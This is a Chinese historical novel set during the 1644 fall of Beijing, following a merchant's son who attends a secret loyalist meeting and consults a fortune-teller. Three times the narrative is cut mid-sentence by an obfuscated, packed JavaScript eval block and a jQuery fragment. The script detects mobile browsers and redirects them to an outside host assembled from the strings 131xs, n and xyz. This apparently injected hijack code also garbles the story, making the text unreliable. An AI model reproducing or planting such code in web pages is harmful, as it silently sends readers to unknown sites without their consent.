《哭庙》
1. 其一 序
文以载道,儒者无不能言之。
余名柳既白,生于万历四十五年,本是唐时忠臣柳公权之后,只因唐宋之际兵乱,族嗣散落九州,后随宋高宗皇帝一同南迁,散尽家财,沦入商籍,以操弄食盐贸易发家,乃江东盐商末流。我自认为才华横溢,性情却是耿直狷介,自知商籍不如士族出身,虽经家族上下走动,仍是屡试不中。家父对我期望颇高,本有意为我捐官,我不愿与盐商子弟同流,仍是寒窗苦读。
崇祯十五年,或是因辽东匪患猖獗,饷银空虚,朝廷征讨的税负愈重。族亲借此时机,收买考官,终于中举,得到了入京赶考的机会。
同年十月,我从淮阴出发,赶在冰封之前顺水路北上。这一路上,旱魃为虐,赤地千里,饿殍塞途,而税使催收如故。民不堪扰,遂揭竿而起,自陕而豫,自楚而川,燎原之势,竟不可制。
然而会试之后,仍然不中,也罢,或许我的确不是这样的人才。不久之后,正在盐商会馆修整准备归乡时,收到家书一则。家父希望能在京师多待些时日,商会内有人在辽东做些皮草生意,得知了些内情,他想再运作一阵,让商会里的大员将这些敌情献给兵部,也好提携着我,赐个职位。
于是便在京城游历,这一游转眼就到了年关。此时南方已传来消息,闯贼气焰愈盛,洛阳城陷,老福王身死,山西、陕西、河南已遭毒手,一时间人心惶惶。但辽东战事频繁,也不乏机会,这时南下难免在朝廷那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126560|180077||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
边丢了面子,商会便决定等待叛军被击溃。
终于到了三月十八,黄沙障天,旋风袭地,雷雨交作。闯贼已兵临城下,以数百张云梯猛攻几处,令孩儿兵持短刀登城破门,随后内应引兵入城,京师城破。
闯贼破京,帝登煤山,望烽烟蔽日,泣血而叹曰:"朕非亡国之君,诸臣皆亡国之臣!"遂以发覆面,自缢殉国,社稷倾覆,天下恸哭。
呜呼!神州陆沉,岂独天灾耶?亦人祸也!
呜呼!世道崩颓,乾坤板荡,豺狼塞路,苍生倒悬。吾一介腐儒,手无缚鸡之力,胸乏孙吴之谋,既不能挽狂澜于既倒,亦难效屈子之沉江。唯此秃笔一管,残简数卷,聊以记人间之疮痍,录末世之悲鸣。
2. 其二 西出彰义
京城的冬天总是很长,春天又很短。
今年开春的沙尘比以往更甚,遥望远处宫城的屋顶,都蒙上一层薄纱。昔日各地能工巧匠呕心沥血烧制的琉璃瓦,原本光可鉴人,清透似水痕,如今也没了光彩。
有几辆马车正匆匆前行着,马也瘦骨嶙峋,低头丧气。兴许是主人此行太过遥远,车轴朽坏,又兴许是他早已没了刚购入此车时的心气,甚至懒得找人维修,在鲜有人迹的空巷里,发出“吱——吱”的巨大响声,配合着站在钟楼上俯视人间的乌鸦们,实在令人心烦。
运河漕运将天下财富集聚于此,如同流动的黄金。但本应该载满货物的马车,如今装的却是一车一车的尸体,有些早已随着愈发炎热的天气腐烂、恶臭,一边走一边从车上流淌着褐色的水,再定睛一看,破烂的麻布衣下乃至露出枯骨,有的上面还嵌着箭头。什么尺骨、桡骨、大腿骨,叮叮咣咣,哗哗啦啦,随着路上的水坑,颠簸着落在地上。一旁虎视眈眈许久的乌鸦一拥而上,有的落到车上就开始大快朵颐,有的俯冲到地上和野狗抢这几口残羹。
长翅膀的是要比只长了腿的快多了,天上的永远比地上的更快抢得先机。更何况经过这半年战事,京城的乌鸦大的像西郊的金雕一般。可怖吗?连残羹剩饭都抢不到的野狗只能在一旁发出“呜呜”的哀鸣,仍然像农家看门护院的、从农户手里乞求零嘴的可爱柴犬一般。
街旁的商铺很晚才开门营业,只怕是也赚不了几个钱,但不开不行。一旁的药店郎中吆喝着学徒去扫扫门前的地,小孩年纪也不大,放下手中的《汤头歌》,颇不情愿的起身出门去。自从京城陷落那日起,又恰逢春季风沙不断,地上就总有扫不完的头发,不用想也知道,都是城外无人收尸苦命人头上的青丝,有长有短,有黑有白,纠纠缠缠,一如此混沌恶世。
此等景象,不禁使人寒颤。
“那个,我说赵主事。”
此时我正和盐商商会的赵主事坐着马车一同出行,只见赵主事皱着眉头,用衣袖掩住鼻息,闭着眼睛养神,不愿闻见前面那辆马车的恶臭。
“赵主事——”
见他没说话,我又喊了一声。今天一大早,赵主事就来到我住处的胡同口,派车夫来敲门,这一路上他若有所思,我也不知道要去哪儿,便疑惑的问他。
赵主事连忙朝我摆了摆手,示意我闭嘴,并凑过来低声说道:
“既白啊,看看这条街上,除了这么几辆车,路边的商铺都没开几家,你再大声说话小心要招惹是非。”
我赶紧做出捂住嘴的样子,朝他点了点头。
“两个月前闯王在山海关激战,为筹措军饷逼着城里的达官贵人和富商交钱,城北有一个汪姓商人因为不愿意配合,被拉到菜市口凌迟处死了。”
“所以我才不敢坐轿子出门,如今形势不明朗,还是小心点。”
听他这么说,我有些害怕。想起那几日闯贼先是下了肃正军纪的告示,但清净日子过了没多久,兴许是因为战事受挫,当兵的就来到各家商会勒索钱财,再到后来连平民百姓也没放过,直到发生这样的惨案。
他看我表情奇怪,欲言又止,低声说道:
“行了,等会到地方再说。”
自从战乱以来,我已有数月未得家书,这位盐商会馆的赵主事曾经是家父旧识,去年进京赶考就是他在盐商商会设下宴席,为我接风洗尘。
这次他找到我,应是受家父嘱托。
一路西行后不久,马车终于赶到了彰义门。这时太阳也升起来了,京城的景致逐渐显出模样,气温升高之后,雾瘴渐散,远方西山的黛影也能望见。
赵主事掀起帘子,环顾四周,同城门旁倚在长枪上发呆的守门把总寒暄起来:
“呦,军爷,怎么今儿就你们几个人把守城门?”
京师城破时,相传是大太监命彰义门守军开门引闯贼入城。闯王登基后在山海关一处与吴三桂、多尔衮鏖战,精锐匮乏,于是京师的驻防仍由三大营负责,所以这守门把总就正是赵主事在京营的旧识。
“嗐,老赵啊,此时不比彼时了!”
守门的把总见是赵主事来了,便把手里的长枪扛在肩膀,右手按着腰间弯刀的刀把,迈着四方步朝我们走来。
“我看你们这个意思是想出城去?万万不可啊,如今北虏南下,城外战事无数,刀枪可不长眼!”
“更何况上面下了命令,要盯住了城中的商人、官员,你们这样我可不好交差啊!”
把总操着京城那种抑扬顿挫的口音,格外强调了“交差”二字。任谁也能看得出,这话一说,非得掏出几两银钱不可。
赵主事笑笑,无言,低头摸了摸钱袋,拿出来一两碎银。如今乱世,商会的碎银纯度极高,一两可抵二两用,又有盐商的信誉担保。把总余光瞥到银光一闪,手就从手把上放下来了,自己识趣的凑上前去,怕让手下人看见,主事便偷偷的递给守门把总。
“老李,念你替大明多年卫戍京城有功,没有功劳也有苦劳!城破之时又拼死抵抗,无奈那大太监骨头太软。”
赵主事低声到,那把总一听,呵呵直笑,忙说着“是、是”。然后主事又从钱袋拿出来几两,
说:
“如今战事难平,这些银两你可要拿好。”
他忙着伸手要接,赵主事又把手收回,说:
“哎,可不许一换班就跑去喝酒,得留住了给闺女啊!”
把总笑的合不拢嘴,连着给主事作揖。
”日后多保重吧。”
说罢,赵主事把这几两银钱按在把总手里。
主事收回手时,袖口下面露出了一小截黄绢。那黄绢质量上乘,颜色正,普通百姓用可是僭越,要杀头的。大概是我看的太久,他似乎察觉到了我的目光,连忙将衣袖向下垂了几分,藏了回去。
把总最后又朝赵主事挥手告别,又向着手下人摆摆手,一旁的守卫举起长矛,两个年纪稍小的士兵跑到门外挪开拒马尖刺,示意马车通过。
穿过彰义门走了没多久,空气终于变得清新起来,民房错落有致的排列在农田相交处,门楣上还贴着春联,前日的雨水让红纸褪色,慢慢变白,但上面的字还清晰可见。
“新年纳余庆,佳节号长春”
虽然路上行人依旧稀少,但总归没有那么压抑了。
回想起刚才赵主事和守门把总说的话,我感到有些奇怪。当时闯贼猛攻外城,局势焦灼,城外勤王援军久等不至,驻扎于北边的三大营早早投降,只剩京城内守备空虚,内库耗尽。而后突然彰义门大门洞开,闯贼鱼贯而入致使败局已定。
彼时流传着多种猜测,有人认为是阉党大太监曹化淳所为,也有人认为此事有所失实。
但总归,与城门守军脱不了干系。
“赵主事,您刚才和那守门把总看起来像是旧识,最后又说他卫戍京城有功,拼死抵抗,可我记得当时守军很快就开门放闯贼入城了。”
我疑惑的问了问赵主事,赵主事沉默了一阵,开口说到:
“在京城做生意,上下都要打点,太平年如此,兵荒马乱的年景更是如此。”
“此人与我相识于袁督师被凌迟处死之日,那日我远走古北口办事晚归,碰巧赶上宵禁。于是花了些银两贿赂他,偷偷放我入城。”
赵主事停顿了一会,揉了揉眼睛。
“这个人祖祖辈辈都是军户,本是河南许昌人士,祖上跟着太祖也算立过战功。他幼时随父亲驻扎辽东,后来老父战死于萨尔浒,全靠家中老母给边军洗衣服才把他拉扯大。后来在他从军的时候,因平叛有功,由地方卫所抽调京营驻防,也算是带老母过上好日子了。”
他停顿了一阵,像是在回忆过去平淡的日子。
“后来同乡给他讨了个妻子,生了两个女儿,这理应踏踏实实过活就行了吧?结果妻子在崇祯十二年的时候回乡探亲,死于当时流行的疫疠。”
主事无奈的继续说道:
“现在社稷将颓,这样的人,能好好活着有个善终已是奢求。所以他才天天酗酒,早上轮班不是因为勤奋,而是喝了一宿的酒还没睡,每天像个游魂一般,又如何希望他能死战不退?”
“和他说那样的话,无非是见人说人话,见鬼嘛——就说点鬼话呗。”
赵主事呵呵一笑,继续说到:
“我在京城呆了几十年,已经见过了太多,如今很多话我也敢说了:先皇年轻,从信王之位到九五之尊,还没有准备好,太过着急挽救大明于危澜,屡屡铸成大错,可那是几朝攒下的积弊,岂是旦夕能拨乱反正的事?这就是圣上之过。”
说到这,我看见主事咬了咬牙。
“像守门把总呢,没有人敢于面对大厦将倾时,那个原来是蛀虫的自己,谁也不敢担这个责任,只能不断的欺骗自己,欺骗自己曾经拼死抵抗不成,最后让一个小太监背了黑锅,让社稷百姓陷于危难,这是我们的过错。”
马车此时停了下来,周围安静的只能听见远处的鸟叫和近处马匹的喘息声,车夫低声说:
“到了。”
主事下车前,最后朝我说到:
“所以说,不管成不成,咱们先试试再说。”
咱们先试试什么?主事最后的话让我满头雾水。我原本想问些什么,兴许是想问问他南方有没有传来家中的消息,但心中却惴惴不安,如同临阵前的士兵,可能是宿命将至吧。
车停在一户宅院门前,看得出来近几年少人打扫,但尘土难掩往日的余晖。门前一对雕刻精美的石鼓,上马石的落脚处已经被前来拜访的人踩得凹了下去,曾几何时这里也是人来人往,逢年过节想必也是张灯结彩。
马夫跳下车敲了敲院门,随后大门徐徐打开,门房从里面探出头来,一看是赵主事的车,连忙开门放人进院。
主事没多说什么,也没让门房搀扶,自己跳下马车,向我伸出手——
“赵主事客气了,我们快走吧。”
门房见我们走入院门,示意马夫赶车前去马厩,并吩咐下人将马匹喂饱粮草,随后向外面望了望,确认无人便轻轻的关紧闭院门,抱起一截粗大的圆木抵住门后。
这时一个面容清秀的书童从屋里走出,约莫十三四岁,他低头向我们行礼:
“主事这边请。”
说完,见主事身旁还有我这个陌生人,书童歪着头看了看我,又问到:
“这位是?”
还没等我张口,赵主事便抢先答到:
“这位是河东柳氏之后,淮阴柳氏长子,也是我们盐商商会的人。”
书童听罢没再多问,示意我们跟随其后。
眼前的是一座四进合院,即便是如今礼崩乐坏,官员住宅常有僭越的时代,也无疑是座豪宅了,毕竟屋檐下颇费工时的木雕也诉说着往日的辉煌。
书童在前方带路,小孩走路不稳,头顶的朝天髻也跟着一晃一晃。南方多雨,青石铺的台阶容易长苔藓,一到雨天很是湿滑。与京城人大摇大摆的四方步不同,江东人从小就养成走碎步的习惯了,见书童也这么走路,我感觉又回到了幼时随家父赴宴的场景。
穿过垂花门进入院内,本应翠绿的盆景如今也已枯黄,院中摆着拒马堵住了正门,锐利的尖刺正朝着每一个进来的宾客,上面沾着的血液干涸了,还有被人冲洗过的痕迹。
“客人受惊了,这是那日京城受围抵御闯贼时主人吩咐摆在街口的,但可惜于事无补,还是遭贼人劫掠。”
说罢,书童引我们走向东厢房从小门进入后院,直奔正房去。离得远远的就听见房中似乎爆发着争吵,书童迟疑了一下,还是站在屋外向里面有些克制的喊到:
“赵主事到了。”
“进来吧”。
里面有声音传来,邀请我们进去,书童轻轻的推开了房门。
此时屋内早已坐满了人,听见看端坐正中的大概就是这座豪宅的主人,某位朝廷的大员。他年事已高,透着黑色的网巾也能看出鬓角斑白,眼睛深邃而无光,身穿朱子深衣,想必也未事二主,未曾为闯王李自成所用。
赵主事连忙走上前去行礼,说到:
“行至彰义门时受守卫盘查,耽搁了些时间,望——”
“主事不必多礼,如今社稷将颓,危在旦夕,要是往日,我肯定不会问你——这位是?”
大员朝我瞥了一眼,又看着主事问到。
“我——”
我刚要回答,就被赵主事打断了:
“这位是河东柳氏之后,淮阴柳氏长子,名唤既白,是我们盐商商会的人。”
大员听完,点点头,说到:
“既然有主事作保,就不问了。这也是阉党作乱时养成的警惕,何况你也知道北虏和闯逆在京城多有暗桩。”
赵主事又向大员行礼,说:
“这是应该的。”
大员环顾四周,众人立刻坐正,他说:
“好了好了,我不多废话了,直接开始吧。”
主事连忙起身,掏出刚才藏在衣袖中的黄绢。
众人一看到黄绢,纷纷跪地。大员年事已高,又宽袍大袖,一旁的两人连忙起身上前搀扶大员跪下,赵主事徐徐展开黄绢,诵到:
“监国福王令旨:
大
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126561|180077||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
明钦命总督天下勤王兵马,监国福藩王谕:
告四海忠义之士,文武才杰
照得甲申奇变,神京陆沉
朕以神宗皇帝嫡孙之重,暂领监国
今闯逆枭獍尚据北都,辽东仍有建酋袭扰之危
凡两京十三省俊彦
不问布衣缁流,勋旧遗贤
但有所长,皆驰援至应天
凡一经考验得实,即赐蟒袍牙牌
随孤王亲督六师,克复京师
板荡时危,正豪杰奋身之时也
右谕天下臣民闻知”
赵主事诵毕,书童连忙搬来一把椅子,引至一旁坐下。
大员说到:“想必令旨读罢,大家也已经知晓,福王已行至淮东,正欲于应天登基,号令天下能人志士,重整六师,还于旧都。”
“但从刚才的争吵老夫也看出来了,你们有的是人不想走,我知道你们商贾目光短浅,还想着像原来那样,不管谁来坐这位子,只管做生意就是——前阵子命丧闯贼手中,又被抄家,家眷尽皆受辱的富商还不够惊醒你们吗!”
越说越气,越说越急,大员把手头的茶杯摔在地上,一时间鸦雀无声。
大员手指向站在屋内阴影处的一人,说到:
“此人是盐商会馆的游商,自与北虏战事起北方的货色售价愈高,朝廷关闭了边关互市,就铤而走险,走私皮毛,为袁崇焕总督辽东时赚取粮饷,对关外颇为了解,让他跟你们说吧。”
大员说罢,此人向前一步,我这才看清楚这人的轮廓——
他身高出众,身材瘦削精壮,却骨架宽大。脸上蒙着头巾,穿着方便活动的曳撒服,手习惯性的放在腰旁的挎刀刀鞘上,腰边还挂着方便擦去刀刃血渍的狐狸尾,这条尾巴也是罕见,通体银灰,尾端一撮黑色的毛。他整个人都向外散发出一种歹人难近的气息,比起皮草商人,更像是久经沙场的边军。
在我打量此人时,他锐利的目光也朝我瞥来,我又低下头去。
“请诸位原谅我带刀登堂入室,诸位都是体面人,我在关外与北虏做生意,不防备不行。”
见大员没说话,他继续说道:
“我接下来就长话短说,去年北虏首领黄台吉身死,其六岁幼子即位,但由亲王多尔衮摄政。此人足智多谋,又心狠手辣,现在多尔衮的北虏大军和吴三桂的关宁铁骑已南下,军至通州城外二十里与闯贼鏖战,贼首李自成于武英殿匆忙登基,随后率部西逃,我想距离闯军全面溃败只是时间问题。”
游商低沉沙哑的声音很有威慑力,他顿了顿,继续说道:
“此次已不是北虏数次入关劫掠的年景了,山海关已经门户大开,多尔衮的目的是入主京师,争夺天下归属。”
游商透过只露出眼睛的头巾,似乎洞悉了我此时面对未来的茫然。人群中有位富商小声和旁人交头接耳,指责他的装束不合礼节,他只是转头看过去,富商就闭了嘴,如同鹰落入了雏鸡之中。
“当日南下,我要警告大家的只有这个,当日南下。倘若还想离开京城,你们只有最久三日时间,要是不想落个家破人亡,今天就走。”
他说罢便退回阴影之中,不再多言。
刚才那个富商见他不再说话,便斗起胆子,说到:
“眼下巳时过半,正午将近,现在出发,家眷下人,马匹牲畜,吃穿用度,锱铢宝物,怕是收拾不及啊……”
见富商张口,晋陕、湖广等商会的人又开始叽叽喳喳,纷纷指责游商:
“是啊,江南富庶,如今陛下重整六师,北伐克复失地何须我们京师残余的小小商人之力,何况闯逆作乱,匪过如梳兵过如篦,我们袋子里的钱早就犁了个干干净净,即便南下也是困难重重,岂不是给福王添乱啊!我看你们盐商这几个月倒是没怎么出血,怕是还有钱的很吧?”
他们说完,一旁西北边疆的马商也出来说话,他们终日游历于胡地,装扮口音已与胡人无异:
“小兄弟,你说话倒是像喝汤一样容易,我看这鞑子没那么吓人,我们闯荡江湖这么多年,管他什么西狄东夷不是一样的做生意?就是天王老子来了也得买我养的马!”
阴影中的游商冷笑一声,低声说到:
“别人我不知道,你们这些靠着和胡人互市发家的马商我太清楚了。贿赂边军,倒卖军械,又和胡人通婚结为亲家,上上下下,乌烟瘴气,要是最后落在你们头上的铡刀,价值千金,你们怕是也会卖给北虏的吧?”
马商气急败坏,说道:
“嘿,这个小兄弟,我好好跟你说话,你怎么这样?”
游商深深吸了口气,打断了他:
“倘若袁督师尚在,定不能教北虏——”
听见游商提及袁督师,大员终于开口,两指狠狠敲着那面做工上乘的黄花梨木桌案,打断了他的话:
“我要提醒你一句,袁崇焕正是因为剿灭鞑虏不力,引得黄台吉兵临京城,黎民百姓危在旦夕!而后龙颜大怒,治了他矫昭诛杀总兵毛文龙的罪,判了个意同谋反,这是圣上钦定的旨意!”
能听得见,阴暗处隐隐约约传来一声铁器声响,在他旁边的商人都向两侧避让。但最终游商也没有回应,我猜他刚刚已经把手按在了刀把上,正待出鞘了。
好在赵主事及时站出,打破了尴尬的气氛,率先表态:
“别人怎么样我们不管,我们盐商本就是江东人士,安土重迁,南下返乡合情合理,因此我意已决,明日一早我们将启程出发。”
见众人这种态度,赵主事也不再唯唯诺诺,言辞坚定了起来。紧接着他话锋一转,直接向大员逼宫:
“方才看大员意思,小人以为大员也想一同南下,您何日启程??”
大员一惊,没想到赵主事敢问的这么直接,说到:
“我……我吗?我就不走了吧,老夫一把年纪,惟愿留守京城,年年为先皇祭扫,南望王师北定中原。”
他说完这话,抬起手来擦了擦额头细密的汗珠,我也看得出,想必大员也有自己的计划了。
“那小人不必再劝,愿诸位有朝一日还能共事,为大明效力。”
主事说完,环顾众人,见众人不发一言,大员端坐在太师椅上也无动于衷,俨然一副打算送客出门的态度,便向前行礼,示意我一同离场,宣布告辞。
那些商人们谁也没说话,他们的目光就这么随着二人走出屋门而结束,游商也从阴影中走出,宽大的肩膀把挡路的矮小商人撞了一个趔趄。
“你这……”
游商没有理他,和赵主事点了点头,径直从侧门离去,没了踪影。
3. 其三 财星破印
回城的路上,两人都若有所思,没有再说话。
恰逢乱世,人如同水中浮萍,只能随波逐流。我此时在想,自己科举半生,何时才能遇到明主,施展一番拳脚?每个人年轻时在遇到生命重要的时间节点,都会感到天将降大任的使命感。只不过大部分人终将碌碌一生,只有小部分的英雄豪杰能够青史留名,这大概也是像我这样的年轻人此时的必然想法。
经过这次不太愉快的会面,我能猜到赵主事近日里忙忙碌碌都在做什么,大概他早就在准备南下迎接福王登基的事宜。同时,既然那张黄绢能传到他手中,江东的盐商应该已经和福王以及勤王六师碰上了头。
不知道家父那边会如何做呢?我这样想到。
但更令人在意的,是那个奇怪的皮草商人。
其实我并不相信他是一个皮草商人。出生自商贾之家,各路商人的派头我见得太多,我对自己说可能是走私皮草这种脑袋别在腰上的营生,让他和别的商人不太一样。同时他对北虏内部的了解的确远胜于坊间传说,尽管我出生内地,并没有与边军有过太多交流,但也曾见过戚家军的老兵,还是确信此人大概是军旅出身。
可这么想就更奇怪了,有明一朝,对户籍管控极为严格。因为柳氏一族的商籍出身,致使我科举屡屡碰壁,假若他真是军户,私自跑去经商又对北虏这么了解,实在令人疑惑。
于是猜忌的种子就在此时种下,就像那大员所说,京城此刻隐藏着各路势力的暗桩。这兵荒马乱的年景,只能相信自己人,非我族类,其心必异。
“既白,我就送你到胡同口,回去收拾下细软,轻装上路,下午商会还有账目清点,我先回去了。”
赵主事睁开眼,和我缓缓说道,他此时像是久卧病榻的老人,失去了所有的力气。
“是,主事,您回去多加小心。”
我从马车上起身,掀起门帘准备跳下去,赵主事起身一把抓住了我的手:
“收拾好后早些休息,城门守卫已经打点好了,明日凌晨卯时正点我还到这个胡同口接你,趁着天刚亮出城。”
“嗯。”
我转头应了他一声,说罢,赵主事松开手,我转身向着胡同深处走去。
卯时,不知是主事为了谨慎早些出城,还是因为生意人的迷信,卯兔,兔儿爷正是传说中京城的守护神。
我房里的东西不多,不能拿去换钱的杂物我都堆放在了门口。因为刚才赵主事的话,我唯独记着把今年春节在地坛逛庙会时请的兔儿爷恭恭敬敬的放在盒子里,用平时练字的废纸垫着,以免破碎。
看着装好的行李,我开始发起呆,不知道此时该做些什么。
“小柳啊,怎么把东西都堆门口了,你这是要搬家吗?”
门外有一个老太太的声音传来,她的声音中气十足,原来是与我同住杂院的房东,正带着她的小孙子站在门外。
我掀起门帘走出屋去,笑着对她说到:
“李奶奶,商会最近生意有变动,我准备回老家了。”
奶奶神情若有所失,叹了口气道:
“唉,我这个小孙子岁数大了,也该到了上学堂的时候,还想着让您再教他几天认字,旁边胡同那个私塾先生也不知道去哪儿了。现在这年头兵荒马乱,平时我也不敢让孙儿出去,胡同里的老街坊有的逃命去了,有的……唉。”
说到这,一旁的小孩也低下头去。
我知道这是京城人的寒暄习惯,倒不是真的舍不得我走了之没人教她孙儿,而是心疼我们这些晚辈,生怕小辈儿受苦。用京城话说,好好的、全须全尾儿站在她眼前,她才觉得心里踏实。
“您放心,往后这生意做的好,我还得回京城呢!古人说洛阳纸贵,咱们京城的房子也贵,等到您孙儿金榜题名,可得记挂着我,到时候再帮我找个住处。”
见李奶奶心情不好,我赶紧说了两句吉祥话,把小孙儿逗笑了,小孙儿一笑,奶奶也笑了。
“哈哈哈哈,是,是,小柳远行可要多加小心。”
看她心情好一点了,我突然想起来堆在门口的那些杂物。
“您放心吧,您也要多保重身体,我这有一些平时用的东西,还能用,都是从商会那边搬来的,质量不错。明天出远门得轻装简行,带不上,扔了就糟蹋了,您看看有需要的可以拿。”
“好,好。”
我想了想,还是想警告李奶奶:
“李奶奶,您记着这两天千万别出门了,把院门、房门都锁好,屋里备着点吃喝。”
李奶奶点了点头,说:
“奶奶年纪大了,有些事也看的清明,朝代更替也是常有的事。就跟那说书先生讲的一样,天下合久必分,分久必合。我倒是没什么,唯独希望我这小孙儿今后能过上好日子。”
奶奶这一番话倒让我放心了许多,这京城的人确实见识广。
“您等会,我回屋拿个东西。”
我想起刚才装好的兔儿爷,便跑回屋去,把行李里的盒子拿了出来。
“这个兔儿爷是我春节那会逛庙会买的,虽然我听说都是中秋的时候供,给您小孙儿拿着吧。”
我一边说,一边打开盒子给小孙儿看。只见那兔儿爷威风凛然,正襟危坐,头上长长的耳朵笔直的立着,撅着嘴,盔甲上的金漆涂的锃亮,身后的旌旗也招展。小孙儿看见这个,眼睛都亮了许多,我捧着盒子,蹲下身去递给了小孙儿。
“这多不好意思,我听说南方没有供兔儿爷的,您拿着留个纪念多好。”
奶奶本想推辞,我摆摆手,对奶奶说:
“对啊,这不就得留个念想,日后就得记着回京城再买一个。”
李奶奶见我这么说,笑了出来,对我说道:
“对对,这样最好,那我就让小孙儿收着了。”
说罢,我将他们俩送到门口,和李奶奶告别,又向小孙儿挥挥手。他们走后,我看现在为时尚早,行李也已经收好,不如出去转转,回去再休息。
想到这,我便披上外衣,走出胡同。
租住的地方距离商会不远,都在城西。原本年景好的时候,商会是在正阳门外的那条大街。据家父回忆,他爷爷的爷爷说,当年大明可是万国来朝,世界各国年年前来京城进贡,各地的奇珍异兽都被运往京城,城内的象房、豹房等地方饲养这些动物直到闯贼破城。
虽不比贞观开元,也是繁华无比,如今却落个门可罗雀,路有饿殍。
一边想着,不知不觉就走了很远。过了午后,路上的行人也渐渐稀少,街角只剩一个算命先生正在收摊,看起来年纪已经很大了,收拾杂物的动作也很慢。他感觉到我正盯着他看,抬起头也看了看我,朝我吆喝到:
“小伙子来算一卦啊?看看八字也成!知阴阳断吉凶,察乾坤改前程!”
现在天色尚早,倒是看看前程也行。
其实江东就有这样的传统,每年春节后都会请算命先生看看八字,算出一年的运势,尤其是商贾,对这些谶讳之事更是迷信的不行。只不过今年困在京城,先前都是家里人去帮我看,如今游子出门在外,家乡的习俗就只能自己来践行了。
“您给我纸笔吧,我写八字。”
“好嘞!”
算命先生又低头打开刚才收好的箱子,从里面摸了纸笔给我,连忙替我研墨。
“我一上眼就知道您不是凡人,这相貌不凡,气质也是清新不俗,想必也是文曲星护佑,智多星在世。”
说罢,把那方拿城墙砖磨制的砚台递给我,侧面还刻着“嘉靖三十二年制”的字样,估摸着是当年扩建南城时所制,这些城砖质量已是世间工匠的极致,文人墨客也喜欢用,尤其是汉代的砖,更是价值千金。我猜大概是闯贼围城后城墙破损,附近百姓偷偷拿走的吧。
“您这话谬赞了,我只是个落榜秀才罢了。”
我一边同算命先生说话,一边低头在草纸上写下八字。
“哟哟哟,您这手台阁小楷写的漂亮,可是颜筋柳骨,又颇有魏晋遗风,可比文征明,文翰林的字。”
“您看您又谬赞了,我和文翰林怕是只沾一个科举不顺遂。”
听算命先生这么一番吹捧,我也是如沐春风,不是我夸,这京城人确实有点会说话的。我把草纸递过去,算命先生表现的颇为尊敬,伸出双手接过。
“三十年河东三十年河西,当年董其昌因为一手烂字科举受挫,那会还不如你呢,你字可比他好,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126562|180077||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后来苦练三年,不也成了?”
算命先生拿着草纸,随后揉了揉眼睛说道:
“等会啊,我先看看你这个名字和八字……柳既白……东方之既白,暗合一个长夜将明,好名字啊!”
我笑着听他说,他指着纸上的字一个一个的看。
“八字嘛……万历四十六年生人,嗯……你这八字,五行缺木,水弱土旺,名字起的倒是不错,一看就是有高人点拨,补上了不足。”
老人举起了草纸,眯着眼睛继续说道:
“来京城发展是不错的,北方属水,形成润土之局。但我看你流年不利,倒是土重水滞,火金交战的格局。”
听老人这么说,原本被他夸的正沾沾自喜,突然心里咯噔一下,有点着急的和他说:
“还望先生为晚辈指出一条明路,啊不,破局之法。”
早就对算命先生的说话风格有所耳闻,我生怕他说的含糊不清,连忙改口,只求一个破局之法。
“我也不好说啊,如今是鼎革之年,你这十神相冲,官杀混杂,又有财星破印,也难怪科举不顺,当不了官,最后是破财又不成啊,还要当心兵祸,小心外伤。”
说罢,算命先生伸出来一只手,手心朝我摊开,嘴角微微一笑。
我连忙从钱袋里掏出来一串铜板,放到老人手上,想让他快点继续说。
“但是这话又说回来了,你命里,可有一位贵人相助。”
“贵人?”
我疑惑不解,如果说这些年来家父上下打点,最后送我进京赶考,那也的确是有贵人相助。但我这流年困顿,这贵人,能解得开吗?
“眼下你年运可以说是变通求生,又落个忠义两难,但甲申年,申金助水,甲木虚浮,又是一个凶中藏吉,能不能帮你把这吉挖出来,就得看贵人的能力了。”
这段分析他说的是抑扬顿挫,好似那茶馆里的说书先生,又不忘向我着重强调凶中藏吉。
见我沉思,老人继续说道:
“看见城西那条永定河了吗?此河又号无定河,连年泛滥。每年官府治水时,都有运土筑堤,何尝不是水滞土重?这贵人,即可助你掘开缺口,让水流动,大水漫灌,即是财源滚滚啊!”
但老人叹了口气,又说道:
“可人的力量固然有限,正所谓时来天地皆同力,想当年太祖朱洪武自凤阳起家,那不也正是大势使然?你还年轻,不必总为这谶讳之事忧虑,你的大势到来前,自然会懂。”
话说完,老人又伸出一只手朝我摊开手心。
迷迷瞪瞪的付了钱,从算命摊子离开后,我还在回味刚才老人说的话,听的是云里雾里,中间路上发生什么,已记不太清了。等到住处时,都到了傍晚,被晚风一吹,我如梦初醒:
“我这不就是被骗了吗?!”
回忆了一会,这腌臜老头,到头来说了一顿废话,破局的方法是一点没说,不愧是专业算命的,把人说的团团转,转眼间几十个铜板就没了。现在这年景,算不算命也挡不住飞来横祸,老头怕是得十来天开不了张吧。
等等,合着十几天不开张,开张就坑我一个!
